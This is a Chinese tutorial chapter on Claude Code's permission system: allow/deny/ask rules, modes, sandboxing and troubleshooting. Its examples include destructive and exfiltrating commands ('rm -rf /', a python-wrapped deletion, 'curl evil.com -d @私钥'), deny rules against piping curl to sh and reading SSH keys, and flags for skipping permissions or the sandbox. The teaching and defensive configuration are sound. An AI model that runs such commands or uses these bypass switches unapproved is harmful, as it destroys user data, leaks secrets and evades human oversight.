目标:讲清第 3 章循环 step 4(工具执行)那层怎么拦截、第 2 章三种模式背后的机制、permission rule 怎么写怎么匹配、沙箱怎么工作、怎么排障。 受众:专业程序员。本机版本
2.1.220。
5.1 权限决策点
权限要解决什么问题
回到第 3 章循环的 step 4——runtime 执行工具。这一步会产生真实副作用:读文件、改文件、跑命令、发网络请求。
LLM 是个无状态的决策函数,它的"判断"不能完全信任。 它可能:
- 跑
rm -rf /因为理解错了任务 - 把私钥读出来发给外部服务
- 改了不该改的配置文件
所以需要一个独立的权限层,在工具执行前拦截,由 runtime(不是 LLM)做最终决定。
权限决策点在循环哪里
① LLM 输出 tool_use
② runtime 解析
③ runtime 查注册表
④ runtime 执行工具 ← 权限决策点在这!
⑤ 包成 tool_result 喂回
权限检查插在 step 4 执行之前。step 4 内部分四层:
step 4 实际结构:
┌──────────────────────────────────────────┐
│ 4a. PreToolUse hook 检查 ← 自定义拦截 │
│ 4b. 权限决策 ← 本章重点 │
│ ├─ 允许 → 继续执行 │
│ ├─ 拒绝 → 跳过执行,返回拒绝结果 │
│ └─ 询问 → 弹窗让用户决定 │
│ 4c. 执行工具实现(产生副作用) │
│ 4d. PostToolUse hook ← 执行后回调 │
└──────────────────────────────────────────┘
权限决策(4b)是 runtime 强制执行的,LLM 无法绕过。 即使 LLM 想跑 rm -rf,如果权限规则不允许且用户没批准,runtime 就不执行。
三种决策结果
| 决策 | 含义 | 后续 |
|---|---|---|
| allow | 允许 | 直接执行,不打扰用户 |
| deny | 拒绝 | 不执行,返回拒绝结果给 LLM |
| ask | 询问 | 暂停循环,弹窗让用户决定 |
ask 又能被用户拆成三种响应:
- 用户点"允许"→ 这次允许(不持久化)
- 用户点"拒绝"→ 这次拒绝
- 用户点"总是允许"→ 写进
settings.json的permissions.allow,下次相同工具调用自动 allow
这就是第 2 章讲默认模式时提到的机制——"总是允许"是权限规则的来源。
决策依据:三层来源
┌─────────────────────────────────────────────┐
│ 1. 命令行 flag (--allowedTools / --disallowedTools) │ ← 最高优先级
├─────────────────────────────────────────────┤
│ 2. settings.json 的 permissions 字段 │
│ ├─ allow: [...] 允许规则 │
│ ├─ deny: [...] 拒绝规则 │
│ └─ ask: [...] 询问规则 │
├─────────────────────────────────────────────┤
│ 3. 当前模式(默认/Plan/Auto)的默认行为 │ ← 兜底
└─────────────────────────────────────────────┘
关键认知:模式(第 2 章讲的默认/Plan/Auto)其实是第三层兜底——当 flag 和 settings 都没明确规则时,由模式决定默认行为:
- 默认模式:危险工具默认 ask
- Plan 模式:所有写操作默认 deny
- Auto 模式:所有工具默认 allow
所以"三种模式"和"权限规则"不是两套独立系统,而是同一个权限决策的兜底层。
本机实物
// ~/.claude/settings.local.json
{
"permissions": {
"allow": [
"Bash(xelatex --version)",
"Bash(brew install *)",
"Bash(bash build.sh)",
"Bash(sudo tlmgr install hypdoc 2>&1)",
"Bash(tlmgr search *)",
"WebSearch"
]
}
}
每条规则都是一次历史决策的沉淀。规则语法 Bash(brew install *) 这种 工具名(参数模式) 的写法,是 5.2 要讲的内容。
两层 settings 的区别
| 文件 | 作用 | 是否提交 git |
|---|---|---|
settings.json | 项目共享配置 | 是(团队都用) |
settings.local.json | 个人本地配置 | 否(gitignore) |
settings.local.json 是个人覆盖层——你机器上 permissions 在这里,说明这些是你个人的授权(不污染团队配置)。
5.2 permission rule 语法
规则的基本格式
工具名(参数模式)
- 工具名:如
Bash、Read、Edit、WebFetch - 参数模式:括号里的,描述这个工具的 input 要满足什么条件才匹配
没有括号的规则(如 WebSearch)= 该工具所有调用都匹配。
三类规则容器
"permissions": {
"allow": [...], // 匹配则 allow
"deny": [...], // 匹配则 deny
"ask": [...] // 匹配则 ask(即使模式默认是 allow)
}
- allow:白名单,匹配就放行不问
- deny:黑名单,匹配就拒绝,不可被覆盖
- ask:强制询问,即使 Auto 模式也要问(用于"危险但有时需要"的操作)
参数模式:精确匹配 vs 通配
| 规则 | 匹配什么 |
|---|---|
WebSearch | 所有 WebSearch 调用 |
Bash(xelatex --version) | 精确匹配这条命令 |
Bash(bash build.sh) | 精确匹配这条命令 |
Bash(brew install *) | 通配——brew install 开头的任意命令 |
Bash(tlmgr search *) | 通配——tlmgr search 开头的任意命令 |
通配符 *:匹配任意字符(包括空)。brew install * 能匹配 brew install git、brew install node、brew install --cask firefox 等。
系统会检测过于宽泛的规则(isOverlyBroadBashAllowRule)并发出警告,防止你无意间放行危险操作。
涉及的 Hook 事件
权限系统提供了 PermissionRequest hook 事件(与 PreToolUse、PostToolUse 同属工具事件),可在权限检查时插入自定义拦截逻辑。详见 Ch11。
优先级:deny > ask > allow
工具调用进来
│
▼
┌─────────────────────────────────┐
│ ① deny 规则检查 │
│ 匹配? ──是──→ 拒绝 (不可覆盖) │
└────────────┬────────────────────┘
否
▼
┌─────────────────────────────────┐
│ ② ask 规则检查 │
│ 匹配? ──是──→ 询问用户 │
└────────────┬────────────────────┘
否
▼
┌─────────────────────────────────┐
│ ③ allow 规则检查 │
│ 匹配? ──是──→ 允许 │
└────────────┬────────────────────┘
否
▼
┌─────────────────────────────────┐
│ ④ 模式默认 (兜底) │
│ 默认→ask危险 / Plan→deny写 │
│ Auto→allow全部 │
└─────────────────────────────────┘
文字流程:
工具调用进来
│
▼
① 检查 deny 规则 ──命中──→ 拒绝(不可覆盖)
│ 未命中
▼
② 检查 ask 规则 ──命中──→ 询问用户
│ 未命中
▼
③ 检查 allow 规则 ──命中──→ 允许
│ 未命中
▼
④ 落到模式默认(默认模式→ask危险工具 / Plan→deny写操作 / Auto→allow全部)
关键:deny 是最高优先级,无法被 allow 覆盖。这是个安全设计——防止"某条 allow 规则太宽,意外放行了危险操作"。
通配符的两种粒度
| 写法 | 含义 |
|---|---|
Bash(npm test) | 精确匹配 npm test(不多不少) |
Bash(npm *) | 匹配 npm 开头的任意命令 |
Bash(*) | 匹配所有 Bash 命令(极宽,慎用) |
常见误区:Bash(npm *) 不匹配 npm(无参数)。因为 * 至少要匹配一个字符。如果要同时匹配 npm 和 npm xxx,要写两条规则或用 Bash(npm) + Bash(npm *)。
实际中,* 通常足够——因为命令总有参数(npm 单独跑没意义)。
不同工具的参数模式
| 工具 | 模式描述什么 | 例子 |
|---|---|---|
Bash | 命令字符串 | Bash(git status) |
Read | 文件路径 | Read(/etc/**) |
Edit | 文件路径 | Edit(~/.ssh/**) |
WebFetch | URL | WebFetch(https://internal.com/**) |
文件路径的 ** 是 glob 通配(递归匹配),和 Bash 命令的 * 不是一回事。具体匹配规则依工具实现。
真实配置示例
{
"permissions": {
"allow": [
"Bash(git *)", // 所有 git 命令
"Bash(npm test)", // 跑测试
"Bash(npm run build)", // 构建
"Read(**)", // 读任意文件
"WebSearch" // 网络搜索
],
"deny": [
"Bash(rm -rf *)", // 永远不许 rm -rf
"Bash(curl * | sh)", // 永远不许管道执行远程脚本
"Read(~/.ssh/**)", // 不许读 SSH 密钥
"Edit(.env)" // 不许改环境变量文件
],
"ask": [
"Bash(git push *)", // push 要确认
"Bash(npm publish)" // 发布要确认
]
}
}
语义:
- 日常 git/npm 操作放行(省心)
- 危险操作永久拒绝(防手滑)
- push/publish 要确认(防误操作)
命令行 flag 的覆盖
claude --allowedTools "Bash(git *) Edit" # 额外放行
claude --disallowedTools "Bash(rm *)" # 额外禁止
claude --dangerously-skip-permissions # 全部跳过(极危险,仅沙箱用)
claude --allow-dangerously-skip-permissions # 允许在会话里启用跳过
--dangerously-skip-permissions 是核按钮——所有权限检查都跳过。字段名带 dangerously 警告。只在没有网络、纯本地的隔离环境用。
5.3 三种模式与规则的协同
两个看似独立的系统
| 系统 | 第几章 | 作用 |
|---|---|---|
| 三种模式(默认/Plan/Auto) | 第 2 章 | 决定"默认要不要问" |
| permission rules(allow/deny/ask) | 本章 | 精确控制"哪些操作怎么办" |
它们不是两套独立系统,而是同一个权限决策的两个层级——规则是精确层,模式是兜底层。
完整决策流程图
工具调用 (如 Bash(rm /tmp/foo))
│
▼
① 命令行 flag 检查
├─ --disallowedTools 命中? ──→ deny
├─ --allowedTools 命中? ──→ allow
└─ 都没命中
│
▼
② settings 的 deny 规则检查
├─ 命中 ──→ deny(不可覆盖)
└─ 未命中
│
▼
③ settings 的 ask 规则检查
├─ 命中 ──→ ask(弹窗)
└─ 未命中
│
▼
④ settings 的 allow 规则检查
├─ 命中 ──→ allow
└─ 未命中
│
▼
⑤ 模式默认(兜底)
├─ 默认模式:
│ ├─ 只读工具(Read/Glob/Grep/WebSearch) → allow
│ └─ 写操作(Edit/Write/Bash) → ask
├─ Plan 模式:
│ ├─ 只读工具 → allow
│ └─ 写操作 → deny(一个都不许做)
└─ Auto 模式:
└─ 所有工具 → allow
关键认知:第 5 步才是"模式"发挥作用的地方。模式只在前 4 步都没明确规则时才介入。所以:
- 你写了精确规则,模式就被规则覆盖
- 没写规则的地方,模式说了算
三种模式如何改变第 5 步
| 工具调用 | 默认模式 | Plan 模式 | Auto 模式 |
|---|---|---|---|
Read(/foo) | allow | allow | allow |
Edit(/foo) | ask | deny | allow |
Bash(rm x) | ask | deny | allow |
注意 Plan 模式对写操作是 deny(不是 ask)——这就是 Plan 模式"只想不做"的实现:写操作被权限层硬拒绝,LLM 收到 deny 结果,自然就知道"现在不能改,先出方案"。
模式可以覆盖规则吗?
不能。模式是最弱的一层(第 5 步兜底),规则是更强的一层(第 2-4 步)。所以:
- 即使在 Auto 模式,
deny规则照样拒绝 - 即使在 Plan 模式,
allow规则照样放行(如果某条 allow 显式允许了写操作)
这正是规则系统的价值——模式是粗粒度的"心情开关",规则是细粒度的"硬约束"。你不会因为切到 Auto 模式就让 rm -rf 跑起来,因为有 deny 规则兜着。
一个真实场景走完整个流程
配置:
"permissions": {
"allow": ["Bash(git *)", "Read(**)"],
"deny": ["Bash(rm -rf *)"],
"ask": ["Bash(git push *)"]
}
LLM 想跑 git push origin main,在默认模式:
① flag 检查: 没命中
② deny 检查: "Bash(rm -rf *)" 不匹配 "git push" → 未命中
③ ask 检查: "Bash(git push *)" 匹配 "git push origin main" → 命中!
→ 弹窗询问用户
→ 用户选"总是允许" → 写进 allow,下次自动放行
→ 用户选"拒绝" → 这次拒绝,不写规则
→ 用户选"允许" → 这次放行,不持久化
同样的调用,在 Auto 模式:
① flag 检查: 没命中
② deny 检查: 未命中
③ ask 检查: "Bash(git push *)" 命中 → ask
⚠️ 注意:Auto 模式不能覆盖 ask 规则
→ 仍然弹窗询问
这就是 ask 规则的设计意图——即使在 Auto 模式也要问。用于"危险但有时需要"的操作,防止 Auto 模式放行得太宽松。
Plan 模式的特殊实现
Plan 模式有个细节:它的"只读工具 allow、写操作 deny"不是写死的逻辑,而是模式层注入的隐式规则。本质上 Plan 模式等价于:
implicit_deny = [所有写操作工具]
implicit_allow = [所有只读工具]
这些隐式规则在第 5 步生效。如果显式写了 allow: ["Edit(/tmp/**)"],Plan 模式下这个显式规则会覆盖隐式 deny——能改 /tmp 下的文件。
但实际中很少这么干,因为 Plan 模式的目的是"先想清楚再动手"。
EnterPlanMode / ExitPlanMode 工具
第 4 章讲过这两个元工具。它们是 LLM 自己切换模式的入口——LLM 调 EnterPlanMode 进入 Plan 模式,调 ExitPlanMode(带方案)退出。这呼应了第 4 章说的"Plan 模式不是 UI 切换,是工具级状态管理"。
用户也能用 Shift+Tab 切换(第 2 章讲过)。两条路径都能改变模式层。
5.4 沙箱机制
"沙箱"这个词的来历
字面意思:装沙子的箱子。小孩子玩沙子,给他一个装满沙的箱子,他在里面怎么挖、怎么堆、怎么扬,都不会弄脏家里的地板——破坏被限制在箱子范围内。
软件工程借用这个意象:
沙箱 = 一个隔离的执行环境,里面的程序能做的事被严格限制,搞不出大乱子。
你早就见过的沙箱
| 例子 | 沙箱限制了什么 |
|---|---|
| 浏览器的网页标签 | 网页 JS 不能读硬盘文件、不能装软件 |
| Docker 容器 | 容器里跑的程序碰不到宿主机 |
| iOS App | App 不能读别的 App 的数据 |
| 银行 APP 的虚拟键盘 | 按键记录器截不到密码 |
共同点:程序在里面跑,但能干的坏事被环境本身限制住了,不用靠程序自觉。
沙箱要解决什么问题
权限模型有个先天限制:它针对的是"工具调用级别"的拦截。Bash(rm -rf) 能被规则拦,但 LLM 可能写出更隐蔽的危险命令——比如 python -c "import os; os.system('rm -rf /')",这条命令表面看是 python,实际干的是 rm。
规则匹配只能看命令字符串表面,看不穿执行时的真实行为。所以光有规则不够,还需要沙箱——在执行层面隔离,限制命令能做什么,而不是限制命令"看起来像什么"。
Claude Code 沙箱具体限制什么
┌────────────────────────────────────────────┐
│ Claude Code 沙箱限制 │
├────────────────────────────────────────────┤
│ │
│ 1. 网络限制 │
│ 命令不能随便联网 │
│ 只允许白名单里的域名 │
│ (防止偷偷把你的代码传出去) │
│ │
│ 2. 文件系统限制 │
│ 命令只能动工作目录和临时目录 │
│ 碰不到 ~/.ssh、/etc 等敏感路径 │
│ (防止偷私钥、改系统配置) │
│ │
└────────────────────────────────────────────┘
没有沙箱的话,LLM 让命令 curl evil.com -d @私钥 就能把你的私钥发走。有沙箱,evil.com 不在白名单——连接根本建不起来。
拦截时机不同:规则 vs 沙箱
权限规则:在命令"开始执行之前"拦截(看命令字符串)
沙箱: 在命令"正在执行过程中"拦截(看实际系统调用)
拦截时机时间轴图
时间轴 →
┌──────────┐ ┌─────────────────────────────────┐ ┌─────────┐
│ LLM 输出 │ │ 权限规则层 (执行前) │ │ 沙箱层 │
│ tool_use │─▶│ 看命令字符串表面 │─▶│ (执行中)│
└──────────┘ │ · allow/deny/ask 规则匹配 │ │ 看实际 │
│ · 模式默认兜底 │ │ 系统调用│
└────────────┬─────────────────────┘ │ · 网络 │
│ │ · 文件 │
放行才进入执行 │ 系统 │
└────┬────┘
│
▼
┌─────────────┐
│ 真实执行 │
│ (产生副作用)│
└─────────────┘
规则盲区: 看不穿 python -c "..." 内部藏了什么 (只看到字符串)
沙箱盲区: 不知道命令"语义意图" (能拦 rm -rf / 的实际删除,
但工作目录内的 rm -rf src/ 看起来是合法文件操作不拦)
互补: 规则防"看起来合法但意图不对" / 沙箱防"伪装的危险"
一个具体例子讲透
LLM 想跑 python -c "import os; os.system('rm -rf /')":
权限规则看到的:
字符串: "python -c \"import os; os.system('rm -rf /')\""
匹配 Bash(python *)? → 匹配 → 放行
规则只看到字符串,看不到 python -c 后面那段代码实际要干什么。要"看穿"得解析 Python 语义——规则层是个轻量字符串匹配器,不做语义分析。
沙箱看到的:
命令开始执行:
① python 进程启动
② python 解释那段代码
③ 代码调用 os.system('rm -rf /')
④ rm -rf / 真的去删文件系统
↑
沙箱在这一层拦截(文件系统限制:工作目录外不许写 → 删除失败)
沙箱不需要懂 Python。它只懂"进程要访问网络/文件系统"这种操作系统级事件——不管这访问是 Python 触发的、Node 触发的、还是 shell 直接触发的,沙箱都能拦。
用类比讲
权限规则 = 大门保安查背包
保安看你包里有什么:
- 包里露出一把锤子 → 没在违禁清单 → 放行
- 包里露出一把刀 → 在违禁清单 → 拒绝
但保安不会打开你包里的小盒子看里面藏了什么。你把刀藏进饼干盒,保安就看不出来。
沙箱 = 场馆里的监控系统 + 锁死的门
你进场馆后想干什么:
- 想拿锤子砸玻璃 → 玻璃是防弹的,砸不动 → 失败
- 想从侧门溜走 → 侧门锁死了 → 失败
- 想打电话给外面传数据 → 信号被屏蔽 → 失败
监控系统不管你包里有什么,它只看你实际做的动作。你想干危险动作时,物理限制让你干不成。
为什么两者必须配合
| 权限规则 | 沙箱 | |
|---|---|---|
| 拦截时机 | 执行前 | 执行中 |
| 看什么 | 命令字符串 | 实际系统调用 |
| 优势 | 快、精确、可审计 | 看穿伪装、防御深层 |
| 盲区 | 看不穿 python -c 内部 | 不知道命令"语义意图" |
权限规则的盲区:伪装。python -c "..." 把危险动作藏在代码里,规则看不出来。
沙箱的盲区:意图。沙箱能拦 rm -rf 的实际删除,但如果 LLM 让命令"合法地"删了工作目录里的代码(rm -rf src/,工作目录内是允许的),沙箱不拦——因为它看起来是"正常文件操作"。
两层互补:
- 沙箱防"伪装的危险"(藏在代码里的破坏)
- 权限规则防"看起来合法但意图不对"的操作
本机实物:那条 sudo tlmgr 规则
"Bash(sudo tlmgr install hypdoc 2>&1)"
sudo 提权到 root,理论上能干任何事。但权限规则只是"字符串匹配放行"——它允许的是这条特定命令,不是"允许 sudo 任意操作"。
如果 LLM 后来想跑 sudo rm -rf /,权限规则没匹配(因为是另一条命令),会被拦截。但如果它真的跑起来了,沙箱还挡一层——文件系统限制让它碰不到根目录关键部分。
这就是为什么 sudo tlmgr ... 这种规则相对安全:精确匹配 + 沙箱兜底,双重保险。
sandbox 的配置
CHANGELOG 2.1.220 提到:
Added
sandbox.network.strictAllowlistsetting to deny non-allowlisted hosts for sandboxed commands without prompting
沙箱的网络行为可配:
- 默认:非 allowlist 域名会弹窗询问用户
- strictAllowlist 模式:非 allowlist 域名直接拒绝不问
企业/安全敏感场景开 strictAllowlist,防止 LLM 通过弹窗绕过沙箱。
dangerouslyDisableSandbox
dangerouslyDisableSandbox?: boolean;
这是给 LLM 的"逃生口"——某些命令必须在沙箱外跑(比如需要访问工作目录外文件、需要联网但被沙箱挡了)。LLM 可以设这个字段为 true,请求 runtime 绕过沙箱。
但绕沙箱不是 LLM 单方面能决定的:
LLM 想跑需要绕沙箱的命令
│
▼
LLM 在 tool_use.input 里设 dangerouslyDisableSandbox: true
│
▼
runtime 收到,识别"这是绕沙箱请求"
│
▼
走权限决策(通常会 ask,因为这是危险操作)
│
├─ 用户允许 → 绕沙箱执行
└─ 用户拒绝 → 不绕,沙箱内执行(可能失败)
dangerously 前缀是给用户看的警告——权限弹窗会显示这个标记。
防御层级总览
┌─────────────────────────────────────────────────────────┐
│ 防御层级 │
├─────────────────────────────────────────────────────────┤
│ │
│ LLM 决策(无约束,可能犯错) │
│ │ │
│ ▼ │
│ ① 权限规则层(看命令字符串表面) │
│ allow/deny/ask + 模式默认 │
│ │ │
│ ▼ │
│ ② 沙箱层(看命令实际行为) │
│ 网络限制 + 文件系统限制 │
│ │ │
│ ▼ │
│ ③ 真实执行(产生副作用) │
│ │
│ dangerouslyDisableSandbox 是②层的逃生口,但要①层批准 │
└─────────────────────────────────────────────────────────┘
5.5 排障与调试
什么时候需要排障
权限问题通常表现为三种症状:
| 症状 | 可能原因 |
|---|---|
| LLM 说"权限被拒绝" | deny 规则命中,或 Plan 模式下写了写操作 |
| 一直弹窗问个不停 | allow 规则没覆盖到,每次都落到 ask |
| 命令莫名失败 | 沙箱挡了(网络/文件访问被限制) |
排障核心是搞清楚决策走到了哪一步、为什么是这个结果。
工具一:/permissions 命令
会话里敲 /permissions,能看到当前生效的权限规则。能帮你确认:
- 你以为写进去的规则在不在
- 有没有意外的 deny 把你卡住
- 当前模式是什么(影响兜底行为)
工具二:--debug flag
claude --debug
# 或过滤类别
claude --debug "permissions"
debug 日志会显示每次工具调用的决策走完了哪几步:
[debug] Tool call: Bash(git push origin main)
[debug] Step 1 (flag): no match
[debug] Step 2 (deny): no match
[debug] Step 3 (ask): Bash(git push *) matched → ask
[debug] → prompting user
这能精确定位"卡在哪一步"。--debug 支持过滤类别(api,hooks 看这两类,!file 排除某类)。
工具三:claude doctor 与 /doctor
claude doctor 是启动前的健康检查,/doctor 是会话内更全的检查(能修复问题)。它们会扫:
- settings 文件有没有语法错误
- 权限规则格式对不对
- 是否有冲突的配置
如果规则没生效是因为 JSON 写错了(少了逗号、字段名拼错),/doctor 能发现。
排障决策流程
权限异常
│
▼
① /permissions 看当前规则
├─ 规则缺失 → 编辑 settings.json 加上
├─ 有意外 deny → 删掉或改窄
└─ 规则都在
│
▼
② /doctor 查配置健康
├─ JSON 语法错 → 修复
├─ 字段拼错 → 修复
└─ 配置健康
│
▼
③ --debug 看决策走哪步
├─ 走到 ask 但你以为是 allow → 规则匹配有误,检查通配符
├─ 走到 deny 但你没写 deny → 可能是模式兜底(Plan 模式)
└─ 决策正常但仍失败
│
▼
④ 检查沙箱
├─ 命令失败含"network"/"connection" → 沙箱网络挡了
├─ 命令失败含"permission denied" 路径相关 → 沙箱文件系统挡了
└─ 需要 → 配 sandbox allowlist 或 dangerouslyDisableSandbox
一个真实排障例子
每次 LLM 跑 npm test 都弹窗问你。
第一步 /permissions:发现 allow 里只有 Bash(npm test),没有 Bash(npm *)。规则在。
第二步 --debug:
[debug] Tool call: Bash(npm test -- --coverage)
[debug] Step 4 (allow): Bash(npm test) not matched → fallthrough
问题定位:规则是 Bash(npm test) 精确匹配,但 LLM 实际跑的是 npm test -- --coverage(带参数)。精确匹配不命中。
修复:改成 Bash(npm test *) 或加一条 Bash(npm test *)。
排障核心思路:用 debug 日志看实际匹配过程,而不是猜。
安全排查:检查过度授权
权限配置容易随时间积累过宽的规则。定期排查:
cat ~/.claude/settings.local.json | python3 -c "
import sys, json
obj = json.load(sys.stdin)
for r in obj.get('permissions', {}).get('allow', []):
print(r)
"
重点警惕:
Bash(*)或Bash(rm *)—— 太宽Bash(sudo *)—— sudo 任意命令,危险Read(**)配合敏感目录 —— 可能读出私钥- 长期不用的规则 —— 该删就删
本章核心带走
- 权限决策点在循环 step 4 执行前,由 runtime 强制(LLM 无法绕过)。三种结果:allow/deny/ask。
- 决策依据三层:flag > settings.json 的 permissions > 模式默认。模式是兜底层,不是独立系统。
- 规则语法
工具名(参数模式),三类容器 allow/deny/ask,优先级 deny > ask > allow > 模式默认。deny 不可被覆盖。 - 模式与规则协同:规则覆盖模式(Auto 模式 deny 照样拒绝、Plan 模式 allow 照样放行)。Plan 模式靠隐式 deny 写操作实现"只想不做"。
- 沙箱是第二层防御:在执行中看实际系统调用(网络+文件系统限制),补权限规则"看不穿伪装"的盲区。
dangerouslyDisableSandbox是逃生口但要权限层批准。 - 排障三件套:
/permissions看现状、/doctor查配置、--debug看决策过程。按"现状→配置→决策→沙箱"四步排查。
本机实证命令汇总
# 1. 看当前权限规则
cat ~/.claude/settings.local.json | python3 -c "
import sys, json
obj = json.load(sys.stdin)
print(json.dumps(obj.get('permissions', {}), indent=2, ensure_ascii=False))
"
# 2. 会话内查权限
/permissions # 看当前生效规则
/doctor # 查配置健康
# 3. debug 启动看决策过程
claude --debug
claude --debug "permissions"
# 4. 安全排查过度授权
cat ~/.claude/settings.local.json | python3 -c "
import sys, json
obj = json.load(sys.stdin)
for r in obj.get('permissions', {}).get('allow', []):
print(r)
"